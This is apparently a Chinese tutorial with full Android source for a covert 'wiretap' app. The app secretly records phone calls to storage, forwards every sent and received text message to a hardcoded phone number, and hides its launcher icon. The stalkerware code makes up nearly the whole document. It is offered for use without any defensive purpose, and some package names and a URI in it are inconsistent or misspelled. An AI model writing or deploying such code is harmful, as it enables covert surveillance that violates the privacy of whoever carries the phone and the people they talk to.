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" alt="" />

首先在MainActivity.java文件启动电话和短信的界面,代码如下

 package com.xunfang.wiretap;

 import com.xunfang.observer.MyObserver;
import com.xunfang.services.PhoneService; import android.support.v7.app.ActionBarActivity;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.os.Handler;
import android.view.Menu;
import android.view.MenuItem; public class MainActivity extends ActionBarActivity { @Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
//电话
setContentView(R.layout.activity_main);
Intent intent = new Intent(this,PhoneService.class);
startService(intent);
//短信
Uri uri = Uri.parse("conten://sms");
getContentResolver().registerContentObserver(uri, true, new MyObserver(this,new Handler())); }
@Override
public void onBackPressed() {
}
}

然后进入电话管理服务界面PhoeService.java界面。代码如下

 package com.xunfang.phoneservice;

 import java.io.IOException;

 import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager; public class PhoneService extends Service { // 管理电话
private TelephonyManager tm; private MyListener listener; // 创建一个收音机
private MediaRecorder mr; @Override
public IBinder onBind(Intent intent) {
return null;
} @Override
public void onCreate() {
super.onCreate();
// 实例化
tm = (TelephonyManager) getSystemService(TELEPHONY_SERVICE); // 监听电话的状态
listener = new MyListener();
// 注册监听者,监听电话的状态
tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
} private class MyListener extends PhoneStateListener {
@Override
public void onCallStateChanged(int state, String incomingNumber) {
super.onCallStateChanged(state, incomingNumber); switch (state) {
case TelephonyManager.CALL_STATE_IDLE: // 空闲状态
System.out.println("电话空闲");
if (mr != null) {
// 说明录音机停止录音了
mr.stop();
mr.release();
mr = null;
}
break;
case TelephonyManager.CALL_STATE_OFFHOOK: // 摘机状态(通话状态)
System.out.println("通话状态");
// 1.创建一个收音机
mr = new MediaRecorder();
// 2.设置音源
mr.setAudioSource(MediaRecorder.AudioSource.VOICE_CALL); // ZET
// 3.设置录制音频的格式
mr.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
// 4设置音频的采样率
mr.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
// 5.设置录制的文件放置的位置
mr.setOutputFile("/mnt/sdcard/xxx.avi");
// 6.准备录制
try {
mr.prepare();
} catch( Exception e) {
e.printStackTrace();
}
// 7.开始录制
mr.start(); break;
case TelephonyManager.CALL_STATE_RINGING: // 响铃状态
System.out.println("响铃状态");
break;
}
}
} }

然后进入管理短信服务界面MyObserver.java,代码如下所示

 package com.xunfang.observer;

 import java.text.SimpleDateFormat;
import java.util.Date; import android.content.ContentResolver;
import android.content.Context;
import android.database.ContentObserver;
import android.database.Cursor;
import android.net.Uri;
import android.os.Handler;
import android.telephony.SmsManager; public class MyObserver extends ContentObserver {
private Context context;
public MyObserver(Context context,Handler handler) {
super(handler);
this.context = context;
} @Override
public void onChange(boolean selfChange, Uri uri) {
ContentResolver resolver = context.getContentResolver();
Cursor cursor = resolver.query(uri, new String[]{"address","body","type","date"}, null, null, "date desc");
cursor.moveToFirst();
String address = cursor.getString(0);
String body = cursor.getString(1);
int type = cursor.getInt(2);
long date = cursor.getLong(3);
//将日期格式化,按这个模式输出日期
String time = new SimpleDateFormat("yyy-MM-dd hh:mm:ss").format(new Date(date));
//type=1,表示发送短信,而type=2是表示接收短信,这个可以默认系统短信的数据库表导出来看一下
if(type ==2 ){
String sms = "检测的到对方的手机发送信息: 地址:" + address + " 内容:" + body + "时间 :" + time;
String phone = "18883278692"; //这个电话号码是你要将这个信息发送到哪个人的电话号码
//拿到默认短信管理器
SmsManager sm = SmsManager.getDefault();
//发送短信
sm.sendTextMessage(phone, null, sms, null, null) ;
System.out.println("检测的到对方的手机发送信息: 地址:" + address + " 内容:" + body + "时间 :" + time );
}
if(type == 1){
String sms = "检测的到对方的手机接收到的信息: 地址:" + address + " 内容:" + body + "时间 :" + time;
String phone = "18883278692"; //这个电话号码是你要将这个信息发送到哪个人的电话号码
SmsManager sm = SmsManager.getDefault();
sm.sendTextMessage(phone, null, sms, null, null) ;
System.out.println("检测的到对方的手机接收到的信息: 地址:" + address + " 内容:" + body + "时间 :" + time );
}
} }

代码到这里就差不多了,不过千万不要忘了添加权限和服务的申明,在AndroidManifest.xml配置如下

 <?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.xunfang.wiretap"
android:versionCode="1"
android:versionName="1.0" > <uses-sdk
android:minSdkVersion="8"
android:targetSdkVersion="21" />
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
<uses-permission android:name="android.permission.WRITE_SMS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.SEND_SMS"/> <application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<!-- <activity
android:name=".MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity> -->
<service
android:name="com.xunfang.services.PhoneService"></service>
<receiver
android:name="com.xunfang.broadrecevice.MyBroadReceiver"
>
<intent-filter >
<action
android:name="android.intent.action.NEW_OUTGOING_CALL"
/>
</intent-filter>
</receiver>
</application> </manifest>

到这里已经全部配置完成,可以用真实机进行测试。